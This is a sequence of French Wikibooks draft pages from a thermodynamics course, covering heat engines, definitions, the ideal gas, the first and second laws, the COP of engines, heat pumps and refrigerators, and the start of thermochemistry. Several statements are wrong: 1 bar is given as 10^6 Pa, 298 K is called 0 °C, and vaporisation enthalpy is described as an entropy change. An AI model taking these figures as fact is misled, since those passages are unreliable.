à notre échelle, le millimètre et plus) peut produire de la chaleur, au sens où il rend les corps plus chauds. Il suffit de frotter ses mains pour s’en rendre compte. Inversement la chaleur peut mettre des corps macroscopiques en mouvement. Les exemples sont très nombreux. On peut les appeler des machines à feu, ou machines thermiques. Elles sont des systèmes macroscopiques qui conservent leur mouvement tant qu’une de leurs parties est suffisamment chaude. Nous verrons ultérieurement qu’il faut aussi qu’une de leurs parties soit suffisamment froide. Sadi Carnot est à l'origine des études modernes des machines thermiques dans un mémoire fondateur, ''Réflexions sur la puissance motrice du feu et sur les machines propres à développer cette puissance'' (1824). Le cycle de Carnot, étudié dans ce mémoire, reste le principal exemple d’étude des machines thermiques. Plutôt que puissance motrice on dit aujourd’hui que les machines thermiques fournissent un travail et on s’interroge sur la façon d’utiliser la chaleur pour produire du travail. Ces notions seront précisées dans les prochains chapitres. ====Exemples==== *Une simple bougie met en mouvement l’air qui l’entoure. Un courant ascendant est créé au-dessus de la flamme. Il est perpétuellement renouvelé par un courant d’air froid qui arrive par dessous. On peut les observer dans une pièce calme avec une plume de duvet ou en approchant une autre flamme. *L’eau dans une casserole sur le feu se met en mouvement comme l’air au-dessus de la bougie et comme tous les fluides au-dessus de surfaces suffisamment chaudes. Si on met un couvercle, un nouveau phénomène se produit. La vapeur soulève le couvercle qui retombe ensuite pour être à nouveau soulevé, sans cesse jusqu’à épuisement du feu ou de la vapeur. On raconte que cette simple observation que l’on peut faire dans toutes les cuisines est liée à l’invention des machines à vapeur. Le mouvement du couvercle est trop petit pour être intéressant. Il s’arrête aussitôt commencé parce que la vapeur qui le pousse s’échappe tout de suite. Mais si on met le couvercle dans un cylindre, on obtient un piston qui peut être poussé par la vapeur ou tout autre gaz sur une longue course. Les machines à vapeur et les moteurs thermiques sont très souvent construits sur le principe du piston et du cylindre mais pas toujours. Les autres solutions ne sont pas très différentes. On peut considérer que l’expérience du couvercle de la casserole est à l’origine des inventions de tous les moteurs thermiques, c’est à dire de tous les moteurs qui ne sont pas électriques ou (bio)chimiques. *Les anciens connaissaient un exemple de turbine à vapeur, l'éolypile (ou éolipile) imaginé par Héron d'Alexandrie pour mettre en évidencel a force motrice de la vapeur d'eau. Une boule de métal est mobile en rotation sur un axe. L’eau qu’elle contient est chauffée par en dessous. Deux jets de vapeur tangentiels et opposés mettent alors la boule en mouvement. Mais ce système n’a pas été amélioré avant les temps modernes pour en faire un moteur efficace. Les réacteurs des avions actuels fonctionnent en partie sur le même principe que cette ancienne turbine. *La puissance motrice du feu a été beaucoup plus développée pour faire des armes. La balle, l’obus ou tout autre projectile, est poussée dans le canon par un gaz mis sous pression par l’inflammation de la poudre ou de tout autre explosif. La chaleur du gaz sous pression ne fait pas la différence entre un obus dans un canon et un piston dans un cylindre. *Les fluides de la surface terrestre, l’atmosphère et les océans, sont mis en mouvement par la chaleur du Soleil. (Pour les océans, la gravitation joue aussi un rôle : les marées). La puissance du vent est donc une forme de la puissance motrice du feu. *Une bouteille d’eau oubliée dans un congélateur peut exploser. Dans ce cas il faut plutôt parler de puissance motrice du froid. *Et beaucoup d’autres. ===La science des grands systèmes en équilibre=== Définir la thermodynamique comme la science de l’équilibre des grands systèmes est une approche à la fois très rigoureuse et très générale. C’est le principal chemin qui sera suivi dans ce livre. ====L’équilibre statistique et la loi des grands nombres==== Si l’on jette un même dé, bien équilibré, un grand nombre de fois, on est sûr par avance que les fréquences d’apparition de chacune des faces seront proches de un sixième. Plus le nombre de lancers est grand, plus les fréquences moyennes se rapprochent parce que le dé explore également toutes les possibilités qui lui sont offertes. La même chose se produit si on verse une goutte de colorant dans un verre d’eau. Si on attend assez longtemps, le verre est devenu uniformément coloré parce que toutes les molécules ajoutées explorent également toutes les possibilités, les régions qui leur sont offertes à l’intérieur du verre. Ces observations peuvent être généralisées. Lorsqu’un système est très grand et lorsque parler de l’équilibre du système a un sens, on peut prédire avec certitude l'état d'équilibre statistique moyen de l’ensemble alors même que l'évolution des nombreuses particules du système est indéterminée. ====La petitesse des atomes==== On sait aujourd’hui que les atomes existent vraiment et qu’ils sont très petits. Autrement dit, dans chaque échantillon de matière il y a un très grand nombre d’atomes, des milliards de milliards dans un minuscule grain de sable. La physique des corps macroscopiques est donc toujours une physique des grands systèmes. ====Les équilibres thermiques==== L’étude des équilibres thermiques a une portée immense. Toutes les formes de la matière (gaz, liquides, solides, semi-fluides,...) et tous les phénomènes physiques (mécaniques, électriques et magnétiques, optiques,...) peuvent être étudiés en raisonnant sur l’équilibre des grands systèmes. La thermodynamique, que l’on identifie alors plutôt à la physique statistique, est une des bases les plus solides sur lesquelles est édifiée notre compréhension de la matière. ===Au-delà de l’équilibre=== Les méthodes thermodynamiques et statistiques peuvent être étendues dans plusieurs directions qui vont au-delà de l’étude des grands systèmes en équilibre. ====Les flux proches et l’équilibre==== ====Le domaine mésoscopique==== Domaine intermédiaire entre le microscopique et le macroscopique. ====Les systèmes ouverts et l’auto-organisation==== {{lienDePage|Thermodynamique||Définitions}} Thermodynamique Définitions 8471 43585 2006-05-31T11:41:28Z Sloonz 1589 == Système == {{Definition1| définition=Un '''système''' est une portion de l'espace, délimitée par une surface réelle ou imaginaire. Le reste est appelé ''environnement extérieur''. Durant une transformation du système, il peut échanger, ou non, de la matière et/ou de l'énergie avec cet environnement. }} Un système est dit '''ouvert''', '''fermé''' ou '''isolé'''. Chacun de ces termes est par définition, '''exclusif'''. === Système isolé === Un système isolé n'échange rien avec l'extérieur, ni matière, ni énergie. Aucun système réel n'est totalement isolé, en dehors de l'Univers pris dans son ensemble, mais une bouteille thermos (un vase Dewar clos) est souvent considérée comme une bonne approximation. === Système fermé === Il n'y a pas d'échange de matière mais il y a échange d'énergie sous forme de travail des forces de pression par exemple ou sous forme de chaleur. == Variable d'état == Convention : on parlera d'état d'un système par simplification de langage pour dire : état d'équilibre thermodynamique d'un système. {{Definition1| définition=Les variables d'état sont celles qui permettent de définir l'état d'un système et qui ne dépend que de l'état macroscopique de ce système ; ce sont par exemple la pression (''P''), le volume (''V''), le nombre de moles (''n'') ou la température (''T'').}} == Équations d'état == Équations qui relient entres elles plusieurs variables d'état. Par exemple, un gaz parfait est '''par définition''', un gaz avec les deux fonctions d'état suivantes: U(V,T)= f(T) ( f est une fonction croissante; on dit : le gaz suit la loi de Joule)''' ET''' de plus : P.V = RT (pour une mole ; on dit : le gaz suit la loi de Mariotte). === Fonction d'état === Fonction dont les paramètres sont des variables d'état. La valeur d'une fonction d'état ne dépend donc que de l'état macroscopique du système. En conséquence, la somme algébrique de ses variations au cours d'un cycle est nulle. === Variables intensives et extensives === Les variables d'état peuvent être de deux sortes : extensives et intensives. :::ex : :::::Agriculture ''intensive'' : augmentation de la production :::::Agriculture '''extensive''' : augmentation de la surface Les variables '''extensives''' sont '''proportionnelles à la quantité de matière'''. Si le système ''S'' est la réunion de deux systèmes ''S1'' et ''S2'', les variables extensives pour ''S'' sont la somme des variables extensives pour ''S1'' et ''S2''. Quelques exemples sont le volume, la masse, le nombre de moles. En revanche, les variables '''intensives''' sont '''indépendantes de la quantité de matière'''. Quelques exemples sont la masse volumique, la pression, la force, la concentration, la température. == Phase == {{Definition1| définition=On appelle '''phase''' tout système ou sous-système dont les grandeurs intensives sont des fonctions continues des variables d'espaces x, y et z. A l'équilibre les grandeurs intensives sont uniformes (ne dépendent pas de x, y et z) à l'intérieur d'une phase et constantes (ne dépendent pas de t). }} == Transformations == === Transformation quasistatique === (à compléter) Pour toute variable intensive '''i''' on a : <center>'''i'''<sub>Milieu extérieur</sub> = '''i'''<sub>Système</sub> + &epsilon;</center> === Transformation isotherme === Transformation à température constante. === Transformation monotherme === Transformation dont la température du système est la même avant la transformation qu'après; cependant, la température peut varier <i>pendant</i> la transformation. Dit plus simplement, c'est une transformation telle que: :<math>\Delta{T} = 0\,</math> mais sans avoir forcément :<math>dT = 0\,</math> === Transformation isobare === Transformation à pression constante. === Transformation isochore === Transformation à volume constant === Transformation infinitésimale === Transformation dont les états d'équilibre initial et final sont infiniments proches. === Transformation finie === === Transformation adiabatique === Transformation sans échange de chaleur avec le milieu extérieur. === Degré de liberté === Nombre de paramètres nécessaire pour décrire l'état microscopique du système. == Pression d'un fluide == (à compléter) Quand un fluide est en contact avec la surface d'un solide, il exerce des forces pressantes normales en tout point de cette surface. Ces forces se déterminent par la relation : <center><math>d \vec F = P.dS. \vec n</math></center> '''Remarque''' : même en l'absence d'un solide immergé, il existe une pression en tout points de fluide. Tout élément de volume ''dV'' est en équilibre sous l'effet des forces qui s'exercent à sa surface et en son sein (poids du fluide). En réalisant un bilan des forces on peut ainsi établir la '''loi de statique des fluides''' : <center><math>dP=-\rho .g.dz \,</math></center> {{lienDePage|Thermodynamique|Introduction|Gaz parfait}} Thermodynamique Gaz parfait 8472 43586 2006-05-31T11:41:49Z Sloonz 1589 Un gaz parfait est un système constitué d'un grand nombre de particules identiques, massives, stables et sans interactions. C'est un être mathématique, un modèle, un idéal. Les gaz réels ne sont jamais parfaits mais leurs propriétés sont souvent étonnamment proches de celles des gaz parfaits, surtout s'ils sont suffisamment dilués. On peut prouver, aussi bien avec les mécaniques classique et quantique, que l'équation d'état suivante détermine complètement les états macroscopiques d'équilibre possibles pour les gaz parfaits. <center><math> P V = n R T</math></center> avec: P: pression en pascal V: volume en m<sup>3</sup> n: nombre de mole de gaz T: température en kelvin R: constante des gaz parfaits = 8.314 J/mol/K Cette équation a d'abord été établie par des expériences sur les gaz réels (Boyle, Mariotte, Gay-Lussac, ...). Elle décrit très bien leur comportement sauf s'ils sont trop concentrés, parce qu'alors les interactions entre les atomes ou les molécules ne peuvent plus être négligées et les gaz commencent à ressembler à des liquides. {{lienDePage|Thermodynamique|Définitions|Premier et second principes}} Thermodynamique Premier principe 8473 43615 2006-05-31T12:50:02Z Sloonz 1589 Demande de suppresion de page (redondant avec Thermodynamique_Premier_et_second_principes) {{suppression}} Le premier principe est la loi de conservation de l'énergie. == Premier principe == === Énergie interne === L'énergie interne est une fonction ou variable d'état notée ''U''. Elle peut être définie comme la somme de toutes les énergies cinétiques et d'interaction des constituants microscopiques du système. === Énoncé du premier principe === {{Definition1|définition=Au cours d'une transformation quelconque d'un système, la variation de l'énergie interne ''U'' est égale à la l'énergie reçue par le système. Ce principe se décrit par la formule : <center><math>\Delta U = W + Q \,</math></center> '''Q''' est la quantité de chaleur reçue par le système. Il s'agit de l'énergie traduisant l'agitation microscopique des atomes ou molécules. Elle peut être échangée par trois processus conduction, convection, rayonnement. '''W''' est le travail reçu par le système. Il s'agit du travail des forces macroscopiques exercées par le mileu extérieur. Dans le cas des forces de pression, il s'exprime : ''dW = - PdV'', ''P'' étant la pression et ''dV'' une variation infinitésimale de volume. }} Remarque: en fait, il faudrait écrire <math>\Delta(U + E_c + E_p) = W + Q\,</math>. Cependant, on considère en général que le laboratoire dans lequel sont effectuées les expériences possède une énergie cinétique et une énergie potentielle constantes. {{lienDePage|Thermodynamique|Gaz parfait|Second principe}} Thermodynamique Premier et second principes 8474 43681 2006-06-01T09:16:53Z Sloonz 1589 /* Second principe */ == Premier principe == Le premier principe est la loi de conservation de l'énergie. === Énergie interne === L'énergie interne est une fonction ou variable d'état notée ''U''. Elle peut être définie comme la somme de toutes les énergies cinétiques et d'interaction des constituants microscopiques du système. === Énoncé du premier principe === {{Definition1|définition=Au cours d'une transformation quelconque d'un système, la variation de l'énergie interne ''U'' est égale à la l'énergie reçue par le système. Ce principe se décrit par la formule : <center><math>\Delta U = W + Q \,</math></center> '''Q''' est la quantité de chaleur reçue par le système. Il s'agit de l'énergie traduisant l'agitation microscopique des atomes ou molécules. Elle peut être échangée par trois processus conduction, convection, rayonnement. '''W''' est le travail reçu par le système. Il s'agit de l'énergie reçue par le système sous toute forme autre que calorifique. }} '''Q''' et '''W''' sont comptés selont la convention "du banquier": lorsque le système <i>reçoit</i> de l'énergie ou de la chaleur, cette dernière est comptée positivement. A l'inverse, lorsque le système cède de la chaleur ou de l'énergie, cette dernière est comptée négativement. On peut noter que lorsqu'un système A reçoit (resp. cède) de l'énergie à un système B, du point de vue du système B, les signes sont inversés, car B cède (resp. recoit) de l'énergie à A. C'est une erreur fréquente de calculer l'énergie échangée par un système A avec un système B en prenant pour référence A, puis introduire l'énergie ainsi calculée dans une équation prenant pour référence B en oubliant d'inverser les signes. Remarque: en fait, il faudrait écrire <math>\Delta(U + E_c + E_p) = W + Q\,</math>. Cependant, on considère en général que le laboratoire dans lequel sont effectuées les expériences possède une énergie cinétique et une énergie potentielle constantes. === Les différentes formes d'énergie === Vous pouvez remarquer que le terme '''W''' est très vague, et c'est le cas. '''W''' peut s'utiliser pour toutes les formes d'énergie, sauf la chaleur (en fait, on pourrait même l'utiliser pour la chaleur, mais historiquement les deux notions étaient considérées comme distinctes. De plus, la chaleur a un comportement "étrange" par rapport aux autres formes d'énergie, ce qui fait qu'on conserve ce caractère "exceptionnel") Tous les échanges d'énergie font intervenir deux types de grandeur: une variable extensive notée X<sub>i</sub>, et une variable intensive notée x<sub>i</sub> (voir [[Thermodynamique_Définitions|Définitions]]). Pour calculer l'énergie échangée W<sub>i</sub> (on dit aussi "le travail", notion inspirée de la mécanique), il suffit d'intégrer l'expression du travail élémentaire <math>\delta W_i = X_i . dx_i</math>. Voici les différentes formes d'énergie, la variable intensive et extensive associée, ainsi que le travail élémentaire: {| class="wikitable" ! Forme d'énergie !! Variable intensive !! Variable extensive !! Travail élémentaire |- | rowspan="3" | Mécanique | Force F | Déplacement l | F.dl (1) |- | Pression P | Volume V | -P.dV |- | Moment M | Angle <math>\theta</math> | <math>M.d\theta</math> |- | Electrique | Potentiel V | Charge q | V.dq |- | Magnétique | Champ magnétique B | Moment magnétique m | B.dm (1) |} :(1): En général, ces relation sont vectorielles == Second principe == Le second principe introduit la notion d'entropie. Depuis Boltzmann, l'entropie peut être définie par le logarithme du nombre d'états microscopiques accessibles à l'équilibre. Accessible veut dire ici que les contraintes extérieures laissent au système la liberté d'explorer d'une façon aléatoire, désordonnée, ces états microscopiques. S = k ln <math>\Omega</math> C'est l'équation de Boltzmann. <math>\Omega</math> est le nombre d'états microscopiques caractéristique de l'équilibre d'un système isolé. La thermodynamique classique introduit l'entropie comme une fonction d'état à partir de la notion de réversibilité d'une transformation. En effet, certaines transformations ne peuvent se faire que dans un sens. Par exemple, lorsque vous versez un liquide coloré miscible dans l'eau, vous voyez alors la coloration se diluer uniformément dans tout le récipient, mais personne n'a jamais vu l'inverse se produire. {{Definition1|définition=Au cours d'une transformation quelconque d'un système isolé, la variation d'entropie ne peut etre que positive ou nulle. Si la variation d'entropie est négative il s'agit alors d'une transformation impossible. Si la variation d'entropie est nulle, il s'agit alors d'une transformation réversible; si elle est strictement positive, il s'agit d'une transformation irréversible. On peut montrer que la fonction S définie par <math>dS = \frac{\delta Q}{T}</math> satisfait cette définition. C'est ainsi qu'est définie l'entropie. }} Remarques: *L'entropie est définie à partir sa différentielle, donc à une constante additive près. Cependant, on ne s'intéresse qu'aux variations d'entropie, donc cela n'est pas très important. Le troisième principe, ou principe de Nermst, dit que l'entropie d'un crystal parfait porté à la température de 0K est nulle. *En remarquant que <math>\delta Q = T . dS</math>, on arrive à une autre définition de l'entropie: il s'agit de la variable extensive liée à l'énergie calorifique. {{lienDePage|Thermodynamique|Gaz parfait|Machines thermiques}} Thermodynamique Machines thermiques 8475 43678 2006-06-01T08:35:52Z Sloonz 1589 /* Les réfrigérateurs (ou Pompe à chaleur) */ Une machine thermique est un système (<math>\sigma</math>) qui peut effectuer un nombre indéfini de cycles, échangeant, au cours d'un cycle, une quantité de chaleur Q<sub>1</sub> avec une source chaude (<math>\sigma_1</math>, à la température T<sub>1</sub>) et une quantité de chaleur Q<sub>2</sub> avec source froide <math>\sigma_2</math> (à la température T<sub>2</sub>), et un travail W avec le milieu extérieur. == Préliminaires == On schématise ainsi: [[Image:Thermo.png|Machine thermique]] Pour l'étude, on considère que: * T<sub>1</sub> > T<sub>2</sub> (source chaude / froide) * <math>\sigma</math> n'échange que de la chaleur avec <math>\sigma_1</math> et <math>\sigma_2</math> * <math>\sigma</math> n'échange que du travail avec le milieu extérieur * La variation d'entropie du système extérieur est nulle * Un cycle est réversible, c'est à dire que la variation d'entropie globale est nulle On peut déjà remarquer que: * La variation d'entropie de <math>\sigma</math> est nulle au cours d'un cycle: lors d'un cycle, l'état initial et l'état final sont les mêmes. Puisque l'entropie est une fonction d'état, elle ne dépend que de l'état du système et ainsi les entropies de l'état intital et de l'état final sont les mêmes, et la variation d'entropie est nulle. De même, lors d'un cycle, la variation d'énergie interne de <math>\sigma</math> est nulle. ::Remarque: on ne peut évidemment pas dire la même chose de <math>\sigma_1</math>, <math>\sigma_2</math> et du milieu extérieur: eux n'effectuent pas de cycle et changent d'état, seul <math>\sigma</math> effectue un cycle Application du premier principe: :<math>\Delta U_\sigma = 0 = W + Q_1 + Q_2\,</math> Application du second principe: :<math>\Delta S' = 0 = \Delta S_{\sigma_1} + \Delta S_{\sigma_2}\,</math> Lorsque Q<sub>1</sub>, Q<sub>2</sub> ou W est positif, cela signifie que la machine thermique reçoit de l'énergie, et on oriente la flèche vers <math>\sigma</math>. A l'inverse, lorsque Q<sub>1</sub>, Q<sub>2</sub> ou W est négatif, cela signifie que la machine thermique reçoit de l'énergie, et on oriente la flèche dans l'autre sens <math>\sigma</math>. == Les moteurs == Un moteur est une machine thermique qui laisse s'écouler spontanément la chaleur de la source chaude vers la source froide, ce qui permet de récupérer du travail. On a ainsi: *Q<sub>1</sub> > 0 *Q<sub>2</sub> < 0 *W < 0 Le schéma de principe est le suivant: [[Image:Moteurthermo.png]] Dans un moteur, le COP (coefficient de performance) est défini par <math>COP = -\frac{W}{Q_1}</math> === Exemple simple: les sources de chaleur sont des thermostats === Un thermostat est un système qui garde toujours la même température, quel que soit la quantité de chaleur échangée. Ainsi, T<sub>1</sub> et T<sub>2</sub> sont constants. Puisqu'on a <math>\delta Q = T.dS</math>, on en déduit: :<math>Q_1 = -T_1.\Delta S_{\sigma_1}\,</math> :<math>Q_2 = -T_2.\Delta S_{\sigma_2}\,</math> Le signe moins est là car Q<sub>1</sub> et Q<sub>2</sub> sont comptés par rapport à <math>\sigma</math>, et la formule précédente s'applique quand Q est compté par rapport au système dont on considère la température et la variation d'entropie. Or, selon le second principe, on a <math>\Delta S_{\sigma_1} = -\Delta S_{\sigma_2}</math> d'où <math>-\frac{Q_1}{T_1} = \frac{Q_2}{T_2}</math> ou encore <math>Q_2 = -Q_1 \frac{T_2}{T_1}</math>. Or le premier principe nous disait que <math>W + Q_1 + Q_2 = 0</math> donc <math>W = -Q_1 - Q_2 = Q_1 \frac{T_2}{T_1} - Q_1 = Q_1.(\frac{T_2}{T_1} - 1) = Q_1.\frac{T_2 - T_1}{T_1}</math> Ainsi, le COP vaut: :<math>COP = -\frac{W}{Q_1} = \frac{T_1 - T_2}{T_1}\,</math> On remarque tout de suite que pour être le plus performant possible, la source chaude doit être le plus chaud possible et la source froide le plus froid possible. === Autre exemple: où la source chaude est de l'eau === On considère toujours la source froide comme un thermostat, mais la source chaude est maintenant un volume V d'eau à la température initiale T<sub>1,0</sub>. Cette fois, la température de la source chaude n'est pas constante et tend vers la température de la sourec froide, supposée constante. On a, comme précédemment, <math>-Q_2 = T_2 . \Delta S_{\sigma_2}</math>. Par contre, c'est faut pour <math>\sigma_1</math>, car T<sub>1</sub> n'est pas constant. On a à la place: :<math>-\delta Q_1 = c_p . dT_1 = T_1 . dS_{\sigma_1}\,</math> :d'où <math>dS_{\sigma_1} = c_p . \frac{dT_1}{T_1}\,</math> :en intégrant:<math>\Delta S_{\sigma_1} = \int_{T_{1,0}}^{T_2} c_p . \frac{dT_1}{T_1} = c_p . \ln \frac {T_2}{T_{1,0}}\,</math> Or, on a <math>\Delta S_{\sigma_1} + \Delta S_{\sigma_2} = 0</math> d'où <math>c_p . \ln \frac {T_2}{T_{1,0}} - \frac{Q_2}{T_2} = 0</math> donc <math>Q_2 = T_2 . c_p . \ln \frac {T_2}{T_{1,0}}</math> Or <math>-\delta Q_1 = c_p . dT_1\,</math> donc <math>-Q_1 = c_p . (T_2 - T_{1,0})\,</math> donc <math>c_p = \frac{Q_1}{T_{1,0} - T_2}\,</math>. En reportant dans l'expression de Q<sub>2</sub>, on trouve: :<math>Q_2 = Q_1 . \frac{T_2}{T_{1,0} - T_2}.\ln \frac {T_2}{T_{1,0}}</math> On trouve enfin: <math>W = -Q_1 - Q_2 = -Q_1(1+\frac{T_2}{T_{1,0} - T_2}.\ln \frac {T_2}{T_{1,0}})\,</math> d'où le COP: :<math>COP = 1-\frac{T_2}{T_{1,0} - T_2}.\ln \frac {T_{1,0}}{T_2}\,</math> == Réfrigirateur - Pompe à chaleur == Un réfrigirateur - ou une pompe à chaleur - est une machine thermique qui prend de la chaleur à la source froide pour en fournir à la source chaude. Puisqu'un tel transfert ne peut se faire spontanément, on doit fournir du travail à la machine thermique. Ainsi: *Q<sub>1</sub> < 0 *Q<sub>2</sub> > 0 *W > 0 Le schéma de principe est le suivant: [[Image:Pacthermo.png]] Pour une pompe à chaleur, où le but est de réchauffer la source chaude, le COP est: :<math>COP = -\frac{Q_1}{W}</math> Pour un réfrigirateur, où le but est de refroisir la source froide, le COP est: :<math>COP = \frac{Q_2}{W}</math> === Exemple: chauffage d'une maison en hiver à l'aide d'une pompe à chaleur, signification du COP === La source chaude est une maison. On souhaite maintenir la température de la maison constante en hiver. Cependant, l'isolation n'étant pas parfaite, la maison cède une quantité de chaleur Q<sub>1</sub> au milieu extérieur. La pompe à chaleur devra donc fournir Q<sub>1</sub> au cours d'un cycle. La source froide est un lac proche. On considère qu'il reste à la température du milieu extérieur, T<sub>2</sub> (T<sub>2</sub> > 0). On a, comme dans le cas du moteur: :<math>-Q_1 = T_1 . \Delta S_{\sigma_1}\,</math> :<math>-Q_2 = T_2 . \Delta S_{\sigma_2}\,</math> :<math>\Delta S_{\sigma_1} + \Delta S_{\sigma_2} = 0\,</math> :D'où:<math>Q_2 = -Q_1 . \frac{T_2}{T_1}\,</math> Or <math>W + Q_1 + Q_2 = 0\,</math> d'où <math>W = -Q_2 - Q_1 = Q_1 . \frac{T_2 - T_1}{T_1}\,</math> D'où le COP: :<math>COP = -\frac{Q_1}{W} = \frac{T_1}{T_1 - T_2}</math> A partir de là, il est simple de voir la signification du COP. En effet, on a <math>{Q_1}_{pac} = COP . W</math>. Si on avait chauffé la maison en ne faisant que convertir le travail en chaleur (en convertissant par exemple de l'électricité par effet Joule), on aurait eu <math>{Q_1}_{joule} = W</math> et donc <math>COP = \frac{{Q_1}_{pac}}{{Q_1}_{joule}}</math>. === Autre exemple: réfrigirateur === On étudie maintenant un réfrigirateur. La source froide est le réfrigirateur, qu'on souhaite garder à une température constante T<sub>2</sub>. La source chaude est le milieu extérieur, à température considérée comme constante T<sub>1</sub>. Comme le réfrigirateur n'est pas parfaitement isolé thermiquement, le réfrigirateur reçoit une certaine quantité de chaleur, qu'on doit alors lui reprendre. Second principe: :<math>\Delta S_{\sigma_1} + \Delta S_{\sigma_2} = 0</math> d'où <math>\frac{Q_1}{T_1} = -\frac{Q_2}{T_2}</math> donc: :<math>Q_1 = -Q_2 . \frac {T_1}{T_2}</math> Premier principe: :<math>W = -Q_1 - Q_2 = Q_2. (\frac {T_1}{T_2} - 1) = Q_2 \frac {T_1 - T_2}{T_2}</math> D'où le COP: :<math>COP = \frac {Q_2}{W} = \frac{T_2}{T_1 - T_2}</math> {{lienDePage|Thermodynamique|Premier et second principes|Thermochimie}} Thermodynamique Thermochimie 8476 43643 2006-05-31T15:29:20Z Sloonz 1589 == Définitions préliminaires == === Enthalpie === On définit l'enthalpie H par: :<math>H = U + PV\,</math> U, P et V étant des variables d'état, H est également une fonction d'état. Considérons une transformation isobare de l'état A à l'état B, où la seule forme d'énergie non calorifique échangée est le travail de pression. On a donc: :<math>W = -\int_{V_A}^{V_B} PdV = P(V_A - V_B)</math> Ainsi, en remarquant que P<sub>B</sub> = P<sub>A</sub>, :<math>Q = \Delta U - W = U_B - U_A + P.V_B - P.V_A = U_B + P.V_B - (U_A - P.V_A) = H_B - H_A = \Delta H\,</math> === Coefficients calorimétriques === Considérons un système pouvant être défini par les trois variables d'état P, V et T, reliées entre elles par une fonction f(P, V, T) = 0. On peut alors exprimer toute variable d'état du fluide par deux de ces variables. On se place dans le cas d'une transformation réversible. <math>dU = \frac{\partial U}{\partial T}.dT + \frac{\partial U}{\partial V}.dV = \delta Q_{rev} - P.dV</math> d'où <math>\delta Q_{rev} = dU + P.dV = \frac{\partial U}{\partial T}.dT + (P + \frac{\partial U}{\partial V}).dV</math>. <math>dH = \frac{\partial H}{\partial T}.dT + \frac{\partial H}{\partial P}.dP = dU + P.dV + V.dP = \delta Q_{rev} -P.dV + P.dV + V.dP</math> d'où <math>\delta Q_{rev} = \frac{\partial H}{\partial T}.dT + (\frac{\partial H}{\partial P} - V).dP</math> On pose alors: *<math>c_v = \frac{\partial U}{\partial T}</math> *<math>c_p = \frac{\partial H}{\partial T}</math> *<math>l = \frac{\partial U}{\partial V} + P</math> *<math>h = \frac{\partial H}{\partial P} - V</math> Ce sont les coefficients calorimétriques du système. On peut les trouver dans des ouvrages de références pour la plupart des liquides et des gazs. On trouve donc: *<math>\delta Q_{rev} = c_p.dT + h.dP\,</math> *<math>\delta Q_{rev} = c_v.dT + l.dV\,</math> === Cas des gazs parfaits === On a: *<math>c_p - c_v = nR</math> *<math>l = P</math> *<math>h = -V</math> == Définitions == === Système chimique, réaction chimique === Un système chimique est un système thermodynamique dans lequel peut avoir lieu une réaction chimique. Une réaction chimique consiste en une modification des liaisons interatomiques de constituants (réactifs) qui disparaissent pour en former d'autres (produits). La rupture d'une liaison est endothermique, c'est à dire qu'elle nécessite de l'énergie. La création d'une liaison est exothermique, c'est à dire qu'elle fournit de l'énergie. On écrit la réaction chimique sous la forme d'une équation bilan ou apparaissent les réactifs (à gauche), les produits (à droite), les coefficients stoechiométriques associés aux molécules ainsi que l'état physique des constituants. Par exemple, la combustion du méthane dans les CSTP (Conditions Standard de Température et de Pression) s'écrit: :CH<sub>4 (g)</sub> + 2 O<sub>2 (g)</sub> → CO<sub>2 (g)</sub> + 2 H<sub>2</sub>O<sub>(l)</sub> === Chaleur de réaction === La chaleur de réaction Q est la chaleur échangée par le système chimique avec le milieu extérieur. :Si Q > 0, alors le milieu extérieur a fourni de la chaleur au système chimique. La réaction est dite endothermique. :Si Q < 0, alors le milieu extérieur a reçu de la chaleur du système chimique. La réaction est dite exothermique. :Si Q = 0, alors la réaction est dite athermique ou adiabatique: il n'y a pas eu d'échange de chaleur. Si les seuls échanges d'énergie sont thermiques et mécaniques: :<math>Q = \Delta_rU\,</math> pour une transformation isochore (volume constant) :<math>Q = \Delta_rH\,</math> pour une transformation isobare (pression constante) === Etat standard de référence, enthalpie molaire standard === Les états standards d'un constituant sont des états choisis conventionnellement. Ils correspondent à une pression, dite standard (notée <math>p^0</math>, valant 1 bar ou <math>10^6</math> Pa). L'état standard dépendant de la température, il est nécessaire de préciser cette dernière. Pour un constituant gazeux, son état standard est l'état du gaz parfait à la température T est sous la pression standard. Un corps simple est un constituant à partir duquel on peut former tous les édifices chimqies. L'état standard de référence d'un élément à la température T est en général l'état standard du corps le plus simple. Par exemple, l'élement simple oxygène peut se présenter sous deux formes à 298K (0°C), le dioxygène (O<sub>2 (g)</sub>) ou l'ozone (O<sub>3 (g)</sub>). L'état le plus stable étant le dioxygène, ce dernier est l'état standard de référence pour l'oxygène à 298K. On note l'enthalpie d'un corps dans l'état standard à la température T <math>H^0_T\,</math>, l'énergie interne d'un corps dans l'état standard à la température T <math>U^0_T\,</math>. === Enthalpie standard molaire === On définit l'enthalpie standard molaire de formation à la température T d'un coprs comme étant la variation d'enthalpie lors de la réaction de formation, supposée monotherme, de ce corps à la température T à partir des coprs simples le constituant. Par exemple, l'enthalpie standard molaire de formation de l'eau à 298K <math>\Delta_f \overline{H}^0_{298}(H_2O)\,</math> est la variation d'enthalpie du système lors de la réaction: : H<sub>2 (g)</sub> + <math>\frac{1}{2}</math>O<sub>2 (g)</sub>→ H<sub>2</sub>O<sub>(l) Notez que l'état standard de référence de l'hydrogène à 298K étant le dihydrogène (gazeux) et que l'état standard de référence de l'oxygène à 298K étant le dioxygène (gazeux), ce sont ces corps simples que l'on utilise dans la réaction. La réaction suivante <b>n'est pas la réaction de formation de l'eau</b>: : 2H + O → H<sub>2</sub>O Etant donné que l'on en fait que former des liaisons sans en détruire, l'enthalpie standard molaire de formation est négative (en général, la réaction est exothermique). De même, on définit l'enthalpie standard molaire de vaporisation comme étant la variation d'entropie d'une mole de coprs pur passant de l'état liquide à l'état vapeur. Par exemple <math>\Delta_{vap} \overline{H}^0_{373}(H_2O)\,</math> correspond à la variation d'enthalpie de la réaction: : H<sub>2</sub>O<sub>(l)</sub> → H<sub>2</sub>O<sub>(g)</sub> L'enthalpie standard molaire de fusion <math>\Delta_{fus} \overline{H}^0_T\,</math> correspond de la même manière le passage de l'état solide à l'état liquide, et l'enthalpie standard molaire de sublimation <math>\Delta_{sub} \overline{H}^0_T\,</math> de l'état solide à l'état gazeux. La fusion, la vaporisation et la sublimation impliquent toujours la rupture de liaisons, et sont donc endothermiques. Toutes ces enthalpies peuvent être trouvées dans des tables thermodynamiques. == Enthalpies de réaction == Il est très simple de calculer la variation d'enthalpie d'une réaction quelconque. Considérons la réaction suivante, se déroulant sous la pression standard et à la température 298K: :CH<sub>3</sub>COOH<sub>(l)</sub> + 2O<sub>2 (g)</sub> → 2CO<sub>2 (g)</sub> + 2H<sub>2</sub>O<sub>(l)</sub> (0) On peut en fait voir cette réaction comme la composition de deux réactions (1) et (2) 